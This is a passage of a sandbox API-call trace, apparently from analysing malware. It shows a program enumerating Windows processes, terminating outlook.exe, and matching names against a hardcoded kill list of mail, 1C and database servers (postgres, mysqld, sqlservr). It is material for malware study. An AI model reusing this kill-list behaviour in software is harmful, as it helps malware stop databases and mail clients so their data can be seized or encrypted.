lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.787] lstrlenW (lpString="svchost.exe") returned 11 [0058.787] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.788] lstrlenW (lpString="svchost.exe") returned 11 [0058.788] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.788] lstrlenW (lpString="svchost.exe") returned 11 [0058.789] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.789] lstrlenW (lpString="svchost.exe") returned 11 [0058.789] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.790] lstrlenW (lpString="svchost.exe") returned 11 [0058.790] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.790] lstrlenW (lpString="svchost.exe") returned 11 [0058.790] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.791] lstrlenW (lpString="svchost.exe") returned 11 [0058.791] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.792] lstrlenW (lpString="svchost.exe") returned 11 [0058.792] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.792] lstrlenW (lpString="svchost.exe") returned 11 [0058.792] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.793] lstrlenW (lpString="svchost.exe") returned 11 [0058.793] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0058.793] lstrlenW (lpString="spoolsv.exe") returned 11 [0058.793] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.794] lstrlenW (lpString="svchost.exe") returned 11 [0058.794] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0058.794] lstrlenW (lpString="audiodg.exe") returned 11 [0058.794] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0058.795] lstrlenW (lpString="sihost.exe") returned 10 [0058.795] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.795] lstrlenW (lpString="svchost.exe") returned 11 [0058.795] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0058.796] lstrlenW (lpString="taskhostw.exe") returned 13 [0058.796] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0058.797] lstrlenW (lpString="explorer.exe") returned 12 [0058.797] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0058.797] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0058.797] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0058.798] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0058.798] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0058.798] lstrlenW (lpString="Memory Compression") returned 18 [0058.798] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0058.799] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0058.799] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0058.799] lstrlenW (lpString="SearchUI.exe") returned 12 [0058.799] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0058.800] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0058.800] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.800] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0058.800] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0058.801] lstrlenW (lpString="furholdtopics.exe") returned 17 [0058.801] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0058.801] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0058.801] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0058.802] lstrlenW (lpString="until_commit.exe") returned 16 [0058.802] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0058.802] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0058.802] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0058.803] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0058.803] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0058.804] lstrlenW (lpString="lexmark.exe") returned 11 [0058.804] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0058.804] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0058.804] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0058.805] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0058.805] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0058.805] lstrlenW (lpString="delete disable changing.exe") returned 27 [0058.805] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0058.806] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0058.806] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0058.806] lstrlenW (lpString="underwear.exe") returned 13 [0058.806] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0058.807] lstrlenW (lpString="dear-hearings.exe") returned 17 [0058.807] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0058.807] lstrlenW (lpString="dllhost.exe") returned 11 [0058.807] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0058.808] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0058.808] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0058.808] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0058.808] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0058.809] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0058.809] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0058.810] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0058.810] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0058.810] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0058.810] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0058.811] lstrlenW (lpString="towers world.exe") returned 16 [0058.811] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0058.811] lstrlenW (lpString="coaching indian.exe") returned 19 [0058.811] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0058.812] lstrlenW (lpString="goal assumed.exe") returned 16 [0058.812] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0058.813] lstrlenW (lpString="3dftp.exe") returned 9 [0058.813] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0058.814] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0058.814] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0058.815] lstrlenW (lpString="alftp.exe") returned 9 [0058.815] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0058.816] lstrlenW (lpString="barca.exe") returned 9 [0058.816] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0058.817] lstrlenW (lpString="bitkinex.exe") returned 12 [0058.817] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0058.817] lstrlenW (lpString="coreftp.exe") returned 11 [0058.817] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0058.818] lstrlenW (lpString="far.exe") returned 7 [0058.818] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0058.819] lstrlenW (lpString="filezilla.exe") returned 13 [0058.819] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0058.820] lstrlenW (lpString="flashfxp.exe") returned 12 [0058.820] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0058.821] lstrlenW (lpString="fling.exe") returned 9 [0058.821] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0058.822] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0058.822] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0058.868] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0058.868] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0058.869] lstrlenW (lpString="icq.exe") returned 7 [0058.869] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0058.870] lstrlenW (lpString="leechftp.exe") returned 12 [0058.870] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0058.871] lstrlenW (lpString="ncftp.exe") returned 9 [0058.871] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0058.872] lstrlenW (lpString="notepad.exe") returned 11 [0058.872] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0058.872] lstrlenW (lpString="operamail.exe") returned 13 [0058.873] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0058.873] lstrlenW (lpString="outlook.exe") returned 11 [0058.873] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x598) returned 0x244 [0058.873] TerminateProcess (hProcess=0x244, uExitCode=0x0) returned 1 [0058.881] CloseHandle (hObject=0x244) returned 1 [0058.881] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0058.882] lstrlenW (lpString="pidgin.exe") returned 10 [0058.882] lstrcmpiW (lpString1="1c8.exe", lpString2="pidgin.exe") returned -1 [0058.882] lstrcmpiW (lpString1="1cv77.exe", lpString2="pidgin.exe") returned -1 [0058.882] lstrcmpiW (lpString1="outlook.exe", lpString2="pidgin.exe") returned -1 [0058.882] lstrcmpiW (lpString1="postgres.exe", lpString2="pidgin.exe") returned 1 [0058.882] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="pidgin.exe") returned -1 [0058.882] lstrcmpiW (lpString1="mysqld.exe", lpString2="pidgin.exe") returned -1 [0058.882] lstrcmpiW (lpString1="sqlservr.exe", lpString2="pidgin.exe") returned 1 [0058.882] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0058.883] lstrlenW (lpString="scriptftp.exe") returned 13 [0058.883] lstrcmpiW (lpString1="1c8.exe", lpString2="scriptftp.exe") returned -1 [0058.883] lstrcmpiW (lpString1="1cv77.exe", lpString2="scriptftp.exe") returned -1 [0058.883] lstrcmpiW (lpString1="outlook.exe", lpString2="scriptftp.exe") returned -1 [0058.883] lstrcmpiW (lpString1="postgres.exe", lpString2="scriptftp.exe") returned -1 [0058.883] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="scriptftp.exe") returned -1 [0058.883] lstrcmpiW (lpString1="mysqld.exe", lpString2="scriptftp.exe") returned -1 [0058.883] lstrcmpiW (lpString1="sqlservr.exe", lpString2="scriptftp.exe") returned 1 [0058.884] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0058.884] lstrlenW (lpString="skype.exe") returned 9 [0058.884] lstrcmpiW (lpString1="1c8.exe", lpString2="skype.exe") returned -1 [0058.884] lstrcmpiW (lpString1="1cv77.exe", lpString2="skype.exe") returned -1 [0058.884] lstrcmpiW (lpString1="outlook.exe", lpString2="skype.exe") returned -1 [0058.884] lstrcmpiW (lpString1="postgres.exe", lpString2="skype.exe") returned -1 [0058.884] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="skype.exe") returned -1 [0058.885] lstrcmpiW (lpString1="mysqld.exe", lpString2="skype.exe") returned -1 [0058.885] lstrcmpiW (lpString1="sqlservr.exe", lpString2="skype.exe") returned 1 [0058.885] Process32NextW (in: 